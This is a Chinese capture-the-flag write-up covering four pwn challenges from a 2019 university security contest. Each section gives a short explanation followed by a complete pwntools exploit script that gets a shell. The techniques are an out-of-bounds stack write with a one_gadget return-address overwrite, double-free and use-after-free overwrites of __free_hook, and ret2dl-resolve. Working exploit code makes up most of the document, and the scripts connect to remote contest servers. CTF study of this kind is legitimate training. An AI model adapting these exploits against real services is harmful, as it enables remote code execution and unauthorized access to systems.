2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]

0x01your_pwn

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开的栈地址任意写
2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]_第1张图片
v4的索引是可以输入的,也会输出v4数组的内容。比较麻烦的是每次只能读写一个字节。

for i in range(8):
    #M_read(str(344+288+i))
    M_read(str(344 + 288 + i))
    M_write(str("0"))

344数组开始到栈底的地址。228是栈底到泄露函数的地址每次加i可以泄露小端字节序的一个字节(对于0x70602345会得到0x45,0x23,0x60,0x70)
泄露libc–>写one_gadget覆盖返回地址

from pwn import *
context.log_level='debug'
local=0
if local:
    p=process("./pwn")
    libc = ELF("libc.so.6")
else:
    p=remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
    libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
addr=""
def M_read(a):
    p.recvuntil("input index")
    p.sendline(a)
    p.recvuntil("now value(hex) ")
    global addr
    context=p.recvuntil("\n",drop=True)
    print context
    if "ff"in context:
        context=context[6:]
    if len(context)==1:
        context=(context+'0')
    addr+=context[::-1]
#0x7f9770adf830
    print addr
    print addr[::-1]

def M_write(a):
    p.recvuntil("input new value\n")

    p.sendline(a)

#0x55614b3f2b10
p.recvuntil("name:")
p.sendline("1")
#gdb.attach(p)
for i in range(8):
    #M_read(str(344+288+i))
    M_read(str(344 + 288 + i))
    M_write(str("0"))

#0x7f5c234f9830 (__libc_start_main+240)
print hex(int(addr[::-1],16)-240)
start_m=int(addr[::-1],16)-240
print "libc.address="+hex(start_m-libc.symbols["__libc_start_main"])

one=0x45216
one_run=start_m-libc.symbols["__libc_start_main"]+one
print "one_run="+hex(one_run)
#gdb.attach(p)


M_read(str(344))
M_write(str(int(hex(one_run)[-2:],16)))

for i in range(5):
    print str(int(hex(one_run)[-4-i*2:-2-i*2],16))
    M_read(str(344 + i+1))

    M_write(str(int(hex(one_run)[-4-i*2:-2-i*2],16)))


for i in range(1):
    print i
    #M_read(str(344 +0x20 +i))
    M_read("1")
    M_write("\x00")

p.interactive()

精确的偏移每次都计算有点麻烦,栈可以把ebp作为基石,ida上显示的值刚好是到ebp的(旧ebp的开始)(这里是336)加上栈地址
2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]_第2张图片
这里的(0x7ffdc71aec78-0x7ffdc71aeb50(rbp))+0x150+i就是偏移

0x02 daily
2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]_第3张图片
Delete的时候没有对索引检查导致可以构造doublefree
Read没有\0可以泄露libc
用unsortbin泄露libc和堆的地址–>计算需要的索引值free同一个chunk2次–>复写free函数的hook函数getshell
(更准确应该是uaf)

from pwn import *
#context.log_level="debug"
#offset=0x204b20
offset=0x3c4b20
local=0
if local:

    p=process("./pwn")
    libc=ELF("./libc.so.6")
else:
    p=remote("85c3e0fcae5e972af313488de60e8a5a.kr-lab.com",58512)
    libc = ELF("./libc.so.6")

def add(length,context):
    p.recvuntil("Your choice:")
    p.sendline("2")
    p.recvuntil("Please enter the length of daily:")
    p.sendline(str(length))
    p.recvuntil("Now you can write you daily\n")
    p.sendline(context)
def show():
    p.recvuntil("Your choice:")
    p.sendline("1")

def edit(index,context):
    p.recvuntil("Your choice:")
    p.sendline("3")
    p.recvuntil("Please enter the index of daily:")
    p.sendline(str(index))
    p.recvuntil("Please enter the new daily")
    p.sendline(context)

def remove(index):
    p.recvuntil("Your choice:")
    p.sendline("4")
    p.recvuntil("Please enter the index of daily:")
    p.sendline(str(index))
    p.recvuntil("remove successful!!")

add(0x90,"A"*60)#0
add(0x60,"B")#1
#0x60202d:	0xdfebfb08e0000000	0x000000000000007f
add(0x90,"C"*60)#2
add(0x60,"C")#3
add(0x90,"C"*60)#4
add(0x90,"C"*60)#5

remove(0)
remove(2)
remove(4)

add(0x90,"a"*7)
add(0x90,"b"*7)
add(0x90,"b"*7)
show()



p.recvuntil("\n")
heap_addr=u64(p.recvuntil("1",drop=True).ljust(8,"\x00"))-0x1a0+0xd0-0x40
print hex(heap_addr)
p.recvuntil("4")
p.recvuntil('\n')
main_aren=u64(p.recvuntil("5",drop=True).ljust(8,"\x00"))-88
print hex(main_aren)
libc.address=main_aren-offset
print "libc.address="+hex(libc.address)
print "heap_addr+0xb0="+hex(heap_addr+0xb0)
edit(1,"a"*0x18+p64(heap_addr+0xb0))
remove(1)

remove(3)

def get_index(addr1):
    return ((addr1-0x602060)/4-2)/4

print hex(get_index(heap_addr+0xd0))

remove(get_index(heap_addr+0xd0))

add(0x60,p64(0x60202d))
add(0x60,"/bin/sh\x00")
add(0x60,"")

add(0x60,"")

payload="a"*(0x20+3)+p64(0x60)+"a"*0x8+p64(0x90)+p64(libc.symbols["__free_hook"])
edit(7,payload)
edit(1,p64(libc.symbols["system"]))
#gdb.attach(p)

p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("Please enter the index of daily:")
p.sendline(str(3))


p.interactive()

对于uaf方式写入bss段的时候申请0x70的chunk用0xxxxxxd作为偏移0x7f作为size,写入数据加3后是正常的整8的偏移。
**0x02 baby_pwn **
2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]_第4张图片
Read函数栈溢出但是没有输出函数re2dl-resolve

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#p=process('./pwn')
p=remote("da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com",33865)
elf=ELF("./pwn")

pop_ebp_ret=0x080485db
leave_ret=0x08048448
pppr=0x080485d9

fake_stack_size=0x800
bss=0x0804A040
read_plt=elf.plt["read"]
read_got=elf.got["read"]
bss_stage=bss+fake_stack_size
dynsym=0x080481dc
dynstr=0x0804827c
plt=0x08048380
relplt=0x0804833c
rel_offset=bss_stage+28-relplt
fake_sym_addr=bss_stage+36
align=0x10-((fake_sym_addr-dynsym)&0xf) #为了16字节对齐
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7
print 'r_info==>'+hex(r_info)
fake_raloc=p32(read_got)+p32(r_info)
st_name=fake_sym_addr-dynstr+16
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)

payload='a'*44
payload+=p32(read_plt)
payload+=p32(pppr)
payload+=p32(0)
payload+=p32(bss_stage)
payload+=p32(100)
payload+=p32(pop_ebp_ret)
payload+=p32(bss_stage)
payload+=p32(leave_ret)
p.sendline(payload)

binsh='/bin/sh'

payload='aaaa'
payload+=p32(plt)
payload+=p32(rel_offset)
payload+='aaaa'
payload+=p32(bss_stage+80)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc
payload+='a'*align
payload+=fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()

详细原理搜索re2dl-resolve
利用条件是没有任何输出的程序,直接getshell感觉很神奇

0x04 Double
bss段里面放了链表的开始和结束地址
链表节点结构如下

|index(4字节)|size(4字节)|指向内容的指针(8字节)|指向下一个这种结构的指针(8字节)|

2019全国大学生信息安全竞赛pwn[数组越界任意写,doublefree,ret2dl-resolve]_第5张图片
是2级的chunk结构,如果内容一样不会再次申请存放内容的chunk,但是free的时候头和存放数据的chunk都会free造成了double free
Unsortbin泄露–>double free 申请chunk到bss段–>复写free_hook函数

from pwn import *
local=0
#offset=0x204b20
offset=0x3c4b20 #qian
#context.log_level="debug"
#if local:
#p=process("./pwn")
p=remote("e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com", 40002)
libc=ELF("libc.so.6")
elf=ELF("pwn")

def new_info(context):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("Your data:\n")
    p.sendline(context)
    p.recvuntil("Success")

def show_info(index):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("Info index: ")
    p.sendline(str(index))

def edit_info(index,context):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("Info index: ")
    p.sendline(str(index))
    p.sendline(context)

def delete_info(index):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("Info index: ")
    p.sendline(str(index))

# new_info("a"*0x90)
# new_info("b"*0x90)
# delete_info(0)
# new_info("a"+"\x00"*0x8f)
# gdb.attach(p)
#
#
# p.interactive()
new_info("a"*0x100)#0
new_info("a"*0x100)#1

new_info("a"*0x60)##2
delete_info(0)

show_info(1)
main_arena=u64(p.recvuntil("\x0a",drop=True)+"\x00"*2)-88
print "main_arena="+hex(main_arena)
libc.address=main_arena-offset

new_info("a"*0x60)#3
new_info("C"*0x60)#4
delete_info(2)
edit_info(3,p64(0x4040bd))


new_info("b"*0x60)#4

payload=(("a"*(3)+p64(0x4040c8)).ljust(0x60,"a"))
new_info(payload)


payload1="\x01"*8+p64(0x4040e0)+p64(0x404018)+p32(1)+p32(0x100)+p64(libc.symbols["__free_hook"])+p64(0x4040f8)\
    +p32(2)+p32(0x100)+p64(0x404110)+p64(0x404118)+"/bin/sh\x00"\
    +p32(3)+p32(0x100)

edit_info(0,payload1)


edit_info(1,p64(libc.symbols["system"]))
#gdb.attach(p)
delete_info(2)

p.interactive()

你可能感兴趣的:(ctf,技巧,pwn)